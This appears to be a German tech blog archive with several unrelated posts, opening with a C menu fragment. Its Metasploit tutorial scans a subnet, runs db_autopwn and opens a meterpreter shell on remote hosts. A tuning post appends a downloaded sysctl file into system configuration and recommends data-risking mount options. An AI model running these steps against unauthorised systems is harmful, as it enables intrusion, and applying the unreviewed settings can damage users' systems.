   printf("\n\t4: %s\t\t%5.2f", FESTPLATTEN_NAME, FESTPLATTEN_PREIS);
   printf("\n\t5: %s\t\t%5.2f", GRAFIKKARTEN_NAME, GRAFIKKARTEN_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

/*
============================================================================
Funktion printMenuEinzel() - Ausgabe vom Einzel-Menue
============================================================================
*/
int printMenuGehaeuse(void) 
/*
Rückgabewert:    0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
   printf("\n\tG E H A E U S E K O M P O N E N T E N");
   printf("\n\t=====================================");
   printf("\n\n\t1: %s\t %5.2f", LX100_NAME, LX100_PREIS);
   printf("\n\t2: %s\t %5.2f", LX120_NAME, LX120_PREIS);
   printf("\n\t3: %s\t%5.2f", LX34A_NAME, LX34A_PREIS);
   printf("\n\t0: Abbruch");
   printf("\n\n\n\tAuswahl: ");
   return 0;
}

News im Internet suchen / filtern / finden

Heute wollte ich beschreiben, wie ich mich über IT-News informiere, denn jeder der sich mit dem Thema “IT” beschäftigt bemerke schnell das aktuelle Informationen sehr wichtig sind, wenn z.B. eine Sicherheitslücke bekannt wird, Updates für bestimmte Programme anstehen oder man sich “einfach” über neue Technologien / Programme / etc. informieren möchte.


[stextbox id=”info”]An alle IT-Blogger: Ich bin immer auf der Suche nach neuen IT-Blogs und interessanten IT-News, daher würde ich euch bitten, folgende Angaben als Kommentar zu hinterlassen, so dass ich euch folgen und eure Nachrichten lesen kann, thx.[/stextbox]

  1. RSS-Feed
  2. ggf. Twitter/Identi.ca – Account
  3. ggf. Facebook-Fanpage


Google-Reader

Der Google Reader ist sehr praktisch, da man nicht die verschiedenen News-Seiten besuchen muss, man hat alle Informationen auf einem Blick zusammen. (Im RSS-Feed bitte immer ganze Artikel anzeigen lassen, anders macht RSS keinen Sinn!!!) Zudem kann man im Google-Reader auch bei anderen Google-Usern (Buzz) mitlesen, welche wiederum Infos/News weiterempfehlen können, so baut man sich schnell seine persönliche kleine News-Zentrale zusammen. Damit das ganze nicht unübersichtlich wird, sollte man die RSS-Feed in einzelne Ordner (Kategorien) speichern. Die Krönung ist ganzen ist dann, wenn du dir das Google-Reader App auf deinem Android-Smartphone installierst und immer alle aktuellen News abrufbereit in der Tasche hast.

Tipp: Per iGoogle (Google – Startseite) kannst du dir deine Google-Reader News auch anzeigen lassen und mehr viele weitere Infos wie z.B. das Wetter etc.


Auf speziellen Webseiten, werden auch RSS-Feed von Blogs zusammengefasst, so dass man diese nicht selber organisieren muss bzw. auch neue Blogs / News findet. Wer sich für das Thema (RSS-Sammlung -Planet) interessiert, kann sich eine solche Software ggf. auch selber installieren – www.planetplanet.org

z.B.:


+ News werden archiviert

+ Ordner erleichtern die Verwaltung

+ komplette News auf einer Webseite

unübersichtlich, bei vielen Abos

ggf. doppelte News bei mehreren Abos


google_reader
google_reader


der bessere Google-Reader – feedly.com

Auch wenn die Technik vom Google-Reader schon sehr gut ist, wirklich ansprecht / übersichtlich sieht es nicht wirklich aus, daher nutze ich www.feedly.com. (verfügbar für Chrome, Firefox, Safari) Die einzelnen Kategorien vom Google-Reader kannst du dir nun übersichtlich in einer Art Zeitungsformat anzeigen lassen und bekommst viele weiter News Empfehlungen.


+ Ordner erleichtern die Verwaltung

+ komplette News auf einer Webseite

+ News werden gewichtet

+ Übersichtliche Darstellung

nur im Browser verfügbar (App ist jedoch in Arbeit)


feedly
feedly


News für unterwegs

Wenn man aus welchem Grund auch immer unterwegs (offline) News lesen möchte, kann man sich auch mehrere RSS-Feed per E-Mail zuschicken lassen und zwar auf tabbloid.com. Außerdem nutze ich auch noch readitlaterlist.com, wir der Name (Read It Later) schon sagt, kann man hier bequem Webseiten abspeichern und später offline lesen.

Tipp: Für “Read It Later” gibt es auch Apps für dein Smartphone, falls du keine Internetflat hast. ;-)


+ Internet wird nicht ständig benötig

ein wenig unübersichtlich (readitlaterlist.com)

unübersichtlich (tabbloid.com)


multi_RSS_per_pdf
multi_RSS_per_pdf


read_it_later
read_it_late


E-Mail (Newsletter)

Vor einiger Zeit habe ich mit mich darauf beschränkt (am Morgen) auf der Arbeit die IT-News des Tages per E-Mail zu lesen. Daher kann man meine Blog-Beiträge auch per E-Mail empfangen, dies lässt sich sehr einfach per RSS + FeedBurner realisieren.

Tipp: Unter Linux (Arch Linux & Ubuntu) nutzte ich “Claws Mail” als E-Mail Client. :-)


z.B.:


+ News werden archiviert

+ Filter-Regeln, erleichtern die Organisation

unübersichtlich, bei vielen E-Mails / Abos

ggf. doppelte News bei mehreren Abos


Twitter

Wer ein wenig Zeit mitbringt, kann auf Twitter auch viele neue Leute kennen lernen und interessante News in der “Timeline” lesen, ich folge hier vielen IT-Bloggern und kann jedem der Twitter nutzt nur empfehlen Twitter-Listen anzulegen, um ein wenig Ordnung in die Informationsflut zu bekommen. z.B.: twitter.com/suckup_de/lists Indem andere diese Listen wiederum abonnieren, kann man auch ohne viel Zeitaufwand vielen News finden.

Tipp: Wer eine freie Alternative zu Twitter sucht sollte sich einmal identi.ca anschauen…


+ News in Echtzeit

+ Listen erleichtern die Verwaltung

unübersichtlich Timeline, bei vielen Nachrichten

spezielle News werden schnell überlesen

doppelte News


Twitter_Listen
Twitter_Listen


Twitter_IT-Blogger
Twitter_IT-Blogger

Online-Zeitung (Twitter)

Als Ergänzung zu Twitter möchte ich an dieser Stelle kurz “Twittertim.es” und “paper.li” vorstellen. Bei Twittertim.es kann man aus seiner Timeline eine Zeitung generieren, die Reihenfolge der Beiträge ergeben sich daraus, wie viele Bekannte diese Nachricht ebenfalls erwählt haben. paper.li ist ebenfalls ein Online-Zeitungs-Dienst, welcher Twitter und ggf. Facebook Meldungen (News) verarbeitet. Der Vorteil von paper.li ist der, dass man auch die erwähnten Twitter-Listen als ansprechende Zeitung publizieren und abonnieren kann. z.B.: paper.li/suckup_de/it-nachrichten


+ News werden gewichtet

+ Übersichtliche Darstellung

spezielle News werden ggf. nicht anzeigt


paper_politik
paper_politik


Social-News

Ergänzend zu den bisher Vorgestellen News-Quellen schaue ich teilweise auch in sogenannte Social-News, dort können User (du und ich) Nachrichten einreichen, diese können dann von anderen gepusht werden. Um so mehr Stimmen ein Beitrag erhält, desto weiter vorne (oben) wird dieser Angezeigt.

z.B.:


+ News werden gewichtet

ggf. unrelevante / uninteressante News

spezielle News werden schnell überlesen

etwas unübersichtlich


Podcasts (Audio-News)

Sehr schön finde ich auch Padcasts, wo sehr liebe Menschen News zusammentragen, diese als eine Art Radiosendung verpacken und als Audio-File anbieten. Solch ein Podcast kannst man sich jedoch nur anhören, wenn man auch die Zeit mitbringt! z.B. auf dem Weg zur Arbeit / im Zug / oder einfach gemütlich zu Hause. ;-)

z.B.:


+ ausführliche News

+ irgendwie persönlicher als ein heise-Artikel :-)

festgelegte Themenauswahl

ggf. lange Laufzeit

Google – Neue Schriftarten für deine Webseite

“Alle aktuellen Browser können Schriftarten per CSS vom Server holen, um die auf dem Rechner vorinstallierte Auswahl von Fonts zu ergänzen und Webdesignern typografische Handlungsfreiheit zu ermöglichen. In der Praxis scheitern diese Webfonts bisher aber oft am technischen Aufwand, an Lizenzfragen und an unterschiedlichen Implementierungen in den Browsern. Die auf der Google-Entwicklerkonferenz Google I/O vorgestellten Google Font API und Google Font Directory könnten dieser Technik endlich zum Durchbruch verhelfen und das Aussehen von Webseiten nachhaltig verändern.” – heise.de


Google Font Directory
Google Font Directory


Google Web Schriftarten sind mit folgenden Browsern kompatibel:

  • Google Chrome: 4.249.4+
  • Mozilla Firefox: 3.5+
  • Apple Safari: 3.1+
  • Microsoft IE: 6+


1.) Und -> hier <- gibt es ein kleines HowTo von Google, welches zeigt, dass man als erstes folgendes (ggf. Rennie Beanie gegen eine andere Schriftart austauchen) im HTML-Quellcode einfügen muss…



href='http://fonts.googleapis.com/css?family=Reenie+Beanie' rel='stylesheet' type='text/css'>


… du kannst diese Fonts/Schriftarten und auch die nachfolgenden Modifizierungen (CSS) mit WordPress auch über ein Plugin (WP Google Fonts) einstellen.


2.) Als nächstes können wir die Schriftart noch per CSS modifizieren …

.PostHeader a:link
{
font-family: 'Reenie Beanie', Arial, Sans-Serif;
font-size: 32px;
text-decoration: none;
text-align: left;
color: #265273;
}


3.) … und dies z.B. folgendermaßen als Überschrift für WordPress in der Datei (single.php) verwenden. Wie das Ergebnis am Ende aussieht, kannst du hier im Blog sehen. ;-)


<span><h1><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title(); ?>"><?php the_title(); ?></a></h1></span>


4.) Wer will kann auch erst eine normale Schrift anzeigen lassen und dann die Google-Fonts per JavaScript laden lassen… -> hier <- gibt es diesbezüglich weitere Infos.


<html>
 <head>
 <script type="text/javascript">
 WebFontConfig = {
 google: { families: [ 'Tangerine', 'Cantarell' ] }
 };
 (function() {
 var wf = document.createElement('script');
 wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
 '://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
 wf.type = 'text/javascript';
 wf.async = 'true';
 var s = document.getElementsByTagName('script')[0];
 s.parentNode.insertBefore(wf, s);
 })();
 </script>
 <style type="text/css">
 .wf-loading p {
 font-family: serif
 }
 .wf-inactive p {
 font-family: serif
 }
 .wf-active p {
 font-family: 'Tangerine', serif
 }
 .wf-loading p {
 font-family: serif;
 font-size: 16px
 }
 .wf-inactive h1 {
 font-family: serif;
 font-size: 16px
 }
 .wf-active h1 {
 font-family: 'Cantarell', serif;
 font-size: 16px
 }
 </style>
 </head>
 <body>
 <h1>This is using Cantarell</h1>
 <p>This is using Tangerine!</p>
 </body>
</html>

Metasploit – Sicherheitsanalyse im Netzwerk


Metasploit
Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


[stextbox id=”alert” caption=”Achtung”]Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf![/stextbox]


hackingprocess
hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-) …

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit


Optional: ggf. nach einer neuen Version schauen…


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit
metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:


fastandeasyhacking
fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage_start
Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services
Services


Auswahl
Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:

Blogblume V3.0

Naja eigentlich ist es für mich meine erste Blogblume daher V1.0. In der Blogparade auf “blogblume.de” geht es darum, eine “Blume zu pflanzen” (mithilfe von HTML Graph) aber noch schönes als das Bild das an Ende dabei herauskommt, ist der Aufbau dieser “Blume”, daher einfach selber ausprobieren… :-)


Blogblume - Januar 2011
Blogblume - Januar 2011


Webseite -> Blume


  • blue: für links (der A tag)
  • red: für Tabellen (TABLE, TR and TD tags)
  • green: für den DIV tag
  • violet: für Bilder (der IMG tag)
  • yellow: für Formulare (FORM, INPUT, TEXTAREA, SELECT und OPTION tags)
  • orange: für Zeilenumbrüche und Zitatblöcke (BR, P, und BLOCKQUOTE tags)
  • black: der HTML tag, das root node
  • gray: alle anderen tags

Toy Story & Debian

“Toy Story was released by Pixar November 22nd, 1995. One year later Debian 1.1 was released. Bruce Perens was the DebianProjectLeader then and also worked for Pixar. He started the tradition of naming Debian releases after Toy Story characters.” – wiki.debian.org/ToyStory -> Debian


debian_wallpaper_by_voku1987
debian_wallpaper_by_voku1987

SpeedUp Ubuntu

1.) Kenne dein System (Hardware)

Am besten ist es den Flaschenhals an seinem System ausfindig zu machen, dafür sollte man wissen wie viel Arbeitsspeicher zur Verfügung steht, CPU Auslastung, Festplattengeschwindigkeit etc. aktuell verbraucht wird. Ggf. kann man auch mit neuer Hardware (z.B. > RAM) das System beschleunigen, dies muss natürlich bei jedem System einzeln geprüft werden.


1.1) Arbeitsspeicher


free -mt


  • total: kompletter physikalischer Speicher ( – ein wenig für den Kernel)
  • use: verwendeter Speicher
  • free: freier Speicher
  • buffers/cache: Speicher der wieder freigegeben werden kann, wenn dieser benötig wird. (Cache)

Somit sollte auch klar sein, dass es GUT ist, wenn der Arbeitsspeicher gut ausgenutzt wird, sollte jedoch “use” – “buffer/cache” zu klein werden oder bereits “Swap” (Auslagerungsspeicher -> meist Festplattenplatz) verbracht wird und somit das System wirklich ausbremst.


1.2) Festplatte


hdparm -t /dev/harddrive


Wenn es ewig dauert bis das System gebootet ist oder Programme starten, sollte man die Lesegeschwindigkeit seiner Festplatte einmal testen und ggf. eine neue Festplatte kaufen. ;-) Dabei sollte die Festplatte nicht unter ~50MB/s sein. Moderne SATA-Festplatten haben im Durchschnitt 100MB/s und bei SSD-Festplatten ist eine Datenraten bis zu ~500 MB/s möglich. (SATA-600).


1.3) CPU


top


Ich hatte das Programm “top” bereits in einem vorherigen Blog-Post beschrieben -> http://suckup.de/blog/2010/11/09/linux-server-analysieren/ <- top zeigt unter anderem die Auslastung der CPU je Programm an.


1.4) Grafikkarte


glxinfo | grep direct


Wenn du Engpässe beim abspielen von Videos oder beim Spielen feststellst, kannst du mit dem vorherigem Befehl feststellen, ob “Direct Rendering” aktiviert ist. Ggf. reicht es aus andere Treiber zu installieren, nach meiner Erfahrung sind die Proprietäten Treiber bei neuen Grafikkarten (ATI & NVIDIA) sehr gut. (http://suckup.de/blog/2010/02/09/lxde-compiz-emerald-awn-ubuntu-howto/) Wer eine alte Grafikkarte hat, kann auch diese 3D-Effekte (Compiz) ausschalten, ggf. andere Treiber installieren und schauen, ob der Desktop dadruch flüssiger läuft.


2.) Lightweight Software

Bevor man in neue Hardware investiert (oder sich diese zu Weihnachten schenken lässt) sollte man einmal “Lightweight Software” ausprobieren, diese bieten zwar ggf. weniger Funktionen, sind dafür aber schneller.


z.B.:
Desktop: Gnome -> LXDE oder Xfce
Browser: Firefox -> Chromium


https://wiki.archlinux.org/index.php/Lightweight_Applications


3.) Speicherplatz

3.1) Filesystem
[stextbox id=”alert” caption=”Achtung”]Achtung: Backup nicht vergessen!!![/stextbox]


Als erstes sollte man sich ein wenig mit dem Filesystem beschäfitigen, da ganz nach verwenddung ggf. ein anderes Filesystem verwendet werden sollte.


Zusammenfassung:
XFS: ausgezeichnete Leistung bei großen Dateien, dafür langsamere Geschwindigkeit bei kleinen Dateien (z.B. für ISO’s oder großen Downloads unter /home)


Reiserfs: ausgezeichnete Leistung bei kleinen Dateien (z.B. für viele kleine Dateien unter /var)


Ext3: durchschnittliche Leistung


Ext4: super Gesamtleistung (Leistungsprobleme bei sqlite und anderen Datenbanken)


JFS: gute Gesamtleistung (sehr geringe CPU-Last)


Btrfs: super Gesamtleistung (besser als ext4 ABER ggf. unstable)


3.2) Mount Optionen

/dev/partition /mnt/partition partitiontype option1,option2 0 0


Ein weitere Möglichkeit das Dateisystem zu optimieren, sind die “Mount Optionen”, diese trägst du in der Datei “/etc/fstab” ein. So kann man z.B. durch “relatime” oder “noatime” verhindern, dass die Zugriffszeiten in der Inodetabelle gespeichert werden und so die Festplattenaktivität reduziert werden.



sudo tune2fs -O dir_index /dev/partition


Mit dem vorigem Befehl wird die automatische Indizierung von Ordnerinhalten aktiviert, so dass man schneller aus die Daten zugreifen kann.
(wer ggf. von Ext3 auf Ext4 wechseln möchte kann dies tun: http://suckup.de/blog/2010/02/14/konvertiere-ext3-zu-ext4/)
Sowohl bei Ext3 als auch bei Ext4 wird ein Journal geschrieben, dieses kann man mit der Option “data=writeback” einschränken und somit die Preformance steigern, kann jedoch zu Problemen führen, da die metadata nun “träge” gespeichert werden.


Journal‘ – Langsamster und sicherster Modus. Nicht nur die Metadaten sondern auch die Nutzdaten werden zunächst in das Journal, und dann erst auf die Festplatte geschrieben.
Ordered‘ – Guter Kompromiss aus Sicherheit und Geschwindigkeit (Standard). Die Nutzdaten werden auf die Festplatte geschrieben sobald die Metadaten im Journal abgelegt wurden.
Writeback‘ – Schnell, dafür relativ unsicher. Die Nutzdaten werden sofort auf die Festplatte geschrieben ohne das gewartet wird bis die Metadaten im Journal abgelegt wurden.


tune2fs -o journal_data_writeback /dev/partition


mit dem vorherigem Befehl schreibt man das vorhandene Journal um…


/dev/partition / ext4 errors=remount-ro,noatime,nodiratime,data=writeback,barrier=0,nobh,commit=100,nouser_xattr 0 1


noatime” sagt aus, dass nicht gespeichert wird, wann die Datei angesehen wurde. (man liest eine Datei und gleichzeitig wird auf die Dateien geschrieben) Auch “barrier=0” trägt dazu bei, dass deine Daten unsicherer sind, die Option steigert jedoch die Performance. (so soll die Option einen sehr positiven Einfluss auf die Schreib-Performance von MySQL haben) Die Option “nobh” versucht “associating buffer heads” zu vermeiden und bringt eine kleine Performace verbesserung. Als nächstes kommt die Option “commit=100“, diese Option sagt aus, dass die Daten nur alle 100 Sekunden auf die Festplatte geschrieben werden, dafür verliet man ggf. auch 100 Sekunden bei einem Ausfall (default 5). “nouser_xattr” schaltet einige weitere Optionen vom Dateisystem aus und bringt noch einmal einen kleinen Performanceschub.



XFS –> zur optimierung kann man das Dateisystem mit dem folgedem Kommando anlegen …


mkfs.xfs -l internal,lazy-count=1,size=128m -d agcount=2 /dev/partition


… und die “Mount Option” -> “logbufs=8” in der fstab einfügen. Zudem kann man das gemountete XFS-Filesysteme per “filesystem reorganizer for XFS” Optimieren.


xfs_db -c frag -r /dev/partition


-> stellt den Fragmentationsgrad fest


xfs_fsr /dev/partition


-> defragmentiert die Partition (apt-get install xfsdump)


Die Option “data=writeback” beschleunigt das Dateisystem, kann jedoch zu Datenverlust beim Stromausfall führen. Auch “notail” beschleunigt Reiserfs bewirkt jedoch, dass zirka 5% mehr an Festplattenplatz benötigt wird. Zudem kann man mit dem nächsten Befehl bereits beim erstellen das Dateisystems dieses beschleunigen, indem man das Journal auf eine zweite Partition auslagert.


mkreiserfs –j /dev/hda1 /dev/hdb1



Dieses neue Dateisystem bietet “online Defragmentation”, “Optimierungen für SSDs”, “Snapshots” und viele weitere Sinnvolle Funktionen, wird jedoch momentan noch aktiv entwickelt.


Informationen zum optimieren von SSDs findest du hier -> https://wiki.archlinux.org/index.php/SSD#Tips_for_Maximizing_SSD_Performance


(Im Arch-Linux Wiki habe ich auch noch von der Möglichkeit gelesen “/usr” komplett zu komprimieren (aufs2 + squashfs-tools) da moderne CPUs schneller die Dateien entpacken können als das größere Daten von der Festplatte geladen werden können, leider habe ich diesbezüglich keine Infos zu Ubuntu gefunden.)


4.) CPU

Hier kann man in erster Lienie Overclocking betreiben und somit einiges an Geschwindigkeit herausholen, so habe ich z.B. aus einem “AMD Athlon II X3” einen “AMD Athlon II X4” gemacht. (PS: wer Fragen zur Hardware hat, sollte sich einmal das Computerbase-Forum anschauen, habe dort auch meinen neuen PC gemeinsam mit anderen Mitgliedern zusammengestellt -> “http://www.computerbase.de/forum/showthread.php?p=8532713” + Vorlagen für verschiedene Preisklassen http://www.computerbase.de/forum/showthread.php?p=3395405)


Wenn man auf der Software-Seite seine CPU besser nutzen möchte kann man einen optimierten Kernel bauen oder zumindest bei Arch-Linux sein System mit neuen “CFLAGS & CXXFLAGS” neu-kompilieren lassen. (https://wiki.archlinux.org/index.php/Pacbuilder) Falls jemand ein ähliches Programm für Ubuntu kennt, würde ich dies gerne erfahren. :-)


4.1) optimierten Kernel bauen

Download: KernelCheck – .deb


Download: Patch


Install: KernelCheck
dpkg -i *.deb


Starte KernelCheck
-> “custom complication”
-> “normal performance patch”
-> “Configure kernel options manually, auto-configure ALSA options for sound, Optimize the kernel, Install kernel package after complication”
-> “Apply custom path to kernel”


Nachdem die Dateien heruntergeladen und entpackt wurden, bekommst du eine Shell in der du den Patch einspielen musst.


cd linux
cp /home/USER/Desktop/patch-2.6.36-ck2 .
patch < patch-2.6.36-ck2 -p1


Nachdem du das Fenster wieder verlässt kannst du noch einige Optimierungen auswählen:


-> “Processor type and features”



4.2) optimierten Kernel (+ Brain Fuck Scheduler)


… man kann hier natürlich auch auf ppa zurückgreifen (jedoch noch nicht getestet)!


sudo add-apt-repository ppa:chogydan/ppa && sudo apt-get update
sudo apt-get install linux-ck-generic linux-ck-headers-generic


5.) RAM & swap


5.1) Auslagerung von Speicher
swappiness” ist eine Einstellung, welche dem Kernel mitteilt ob der RAM oder der SWAP bevorzugt werden soll. Der Wert der Variablen kann zwischen 0 und 100 liegen. Der Wert 0 bedeutet, dass der Kernel den Auslagerungsspeicher auf der Festplatte (swap) nur dann nutzt, wenn es nicht anders geht. Der Wert 100 bedeutet das genaue Gegenteil. Es wird so früh wie möglich ein unbenutzter Speicherbereich in den Swapspeicher geschoben.


vim /etc/sysctl.conf
vm.swappiness=20
vm.vfs_cache_pressure=50


5.2) Compcache
Compcache, auch als “ramzswap kernel module” bezeichnet erstellt Swap im Arbeitsspeicher und komprimiert diesen. So dass zwar die CPU wieder mehr zu tun hat, wir jedoch mehr Auslagern können, ausserdem hat dies den Vorteil, dass die Lese-/Schreizugriffe auf der Festplatte weiter reduziert werden.



5.3) tmpfs
Einen ählichen Ansatz, wie “Compcache” verfolgt auch “tmpfs” hier werden die Daten jedoch einfach in den Arbeitsspeicher geschrieben, ohne diese zu komprmieren. Wenn man jedoch genügent Speicher übrig hat, kann man so z.B. die “/tmp”-Daten in den Speicher auslagern.
vim /etc/fstab
tmpfs /tmp tmpfs defaults,noatime,nodev,nosuid,mode=1777 0 0
(nach diesem Prinzip kann man auch z.B. den Cache vom ff oder vom Chrome auslagern)


6.) Netzwerk & Internet


6.1) DNS
Ggf. sollte man schauen, ob man nicht einen schnelleren DNS-Server in seiner nähe findet ;-) -> http://suckup.de/blog/2010/02/13/find-a-fast-dns-server/
zumdem sollte man seinen eigenen Hostnamen in die der Datei “/etc/hosts” eintragen.
127.0.0.1 localhost
127.0.1.1 Rechnername
wird zu …
127.0.0.1 localhost Rechnername
127.0.1.1 Rechnername


Wer Spaß hat kann sich auch einen kleinen lokalen DNS-Cache installieren.
sudo apt-get install dnsmasq
vim /etc/dnsmasq.conf
listen-address=127.0.0.1
vim /etc/dhcp3/dhclient.conf
prepend domain-name-servers 127.0.0.1;
z.B.:
#supersede domain-name "suckup.de voku-online.de";
prepend domain-name-servers 127.0.0.1;
request subnet-mask, broadcast-address, time-offset, routers,
domain-name, domain-name-servers, host-name,
netbios-name-servers, netbios-scope;
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
nameserver 8.8.4.4
vim /etc/resolv.dnsmasq.conf
resolv-file=/etc/resolv.dnsmasq.conf
listen-address=127.0.0.1
vim /etc/resolv.dnsmasq.conf
nameserver 8.8.4.4
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
sudo /etc/init.d/dnsmasq restart


6.2) SYSCTL

In der Datei “sysctl.conf” kannst du Paramether für dein System einstellen.


wget -c http://www.rubyringtechnologies.com/files/sysctl.conf.txt -O ~/sysctl.conf
sed -i 's/\(net\.core\.hot_list_length\ =\ 256\)/\#\1/' ~/sysctl.conf
cat < ~/sysctl.conf >> /etc/sysctl.conf
sysctl -p


6.3) MTU


Typische MTU-Größen:
Medium MTU in Bytes
Hyperchannel 65535
Token Ring(4)(802.5) 4464
Token Ring(16) 17914
FDDI 4352
Ethernet 1500
Gigabit Ethernet
mit Jumboframes
9000
PPPoE (z. B. DSL) ≤ 1492
SLIP/PPP (low delay) 296
X.25 576
FibreChannel theoretisch unbegrenzt
ISDN 576
DQDB
HIPPI
ATM 4500, s. u.
ARCNET
802.11 2312 (WiFi)

Quelle: http://de.wikipedia.org/wiki/Maximum_Transmission_Unit


ping -Mdo -s 1500 8.8.8.8


-> mit dem vorherigem Befehl kannst du testen welche MTU funktioniert (z.B. 1500)


Konfig-Beispiel:

vim /etc/network/interfaces

iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
gateway 192.168.0.254
netmask 255.255.255.0
mtu 1492


7.) preload, ureadahead etc.

ureadahead ist standardmäßig bereis bei Ubuntu installiert und lädt Programme bereits beim Bootvorgang in den RAM, falls man z.B. preload (apt-get install preload) einsetzten will, sollte man ureadahead deaktivieren, da es die selbe Aufgabe übernimmt. “preload” hat den Vorteil, dass es im Betrieb protokolliert welche Programme wirklich verwendet werden und nur diese bereits beim Boot in den RAM lädt, daher startet das System schneller, die Programm werden jedoch nicht schneller gestartet als mit ureadahead. (persönliche Meinung – nicht auf die Millisekunde gemessen) außerdem verursacht das Programm “preload” immer CPU-Last und verbraucht somit mehr Strom als wie ohne. ;-) Um den Boot-Vorgang näher zu analysieren soll man sich einmal “bootchart” (http://wiki.ubuntuusers.de/bootchart) anschauen.


8.) prelink

Wenn man den Start von Programmen beschleunigen will, kann man “prelink” (apt-get install prelink) ausprobieren, besonders bei KDE bringt dies einiges, da somit bei “dynamic linking” Programmen (Programm die nicht gelinkt sind, um z.B. Speicherplatz zu sparen) die Libraries nicht jedesmal bei geladen werden müssen. Prelink nutzt dies insofern aus, als dass es das Linken im Voraus ausführt und in der Programmdatei abspeichert. Somit kann man (fast) jedes Programm beschleunigen.


vim /etc/default/prelink

PRELINKING=unknown 

wird zu …

PRELINKING=yes 


http://wiki.ubuntuusers.de/Prelink


9.) localepurge

Nicht verwendete Sprachdateien zu entfernen erscheint zwar auf den ersten Blick nicht wirklich als Optimierung, jedoch hat sich in der Praxis gezeigt, dass einige Programm diese Sprachdateien z.B. beim Start in den Speicher laden, daher kann man so nicht nur Festplattenplatz, sondern ggf. auch Arbeitsspeicher einsparen und Programme schneller starten.



Quellen:

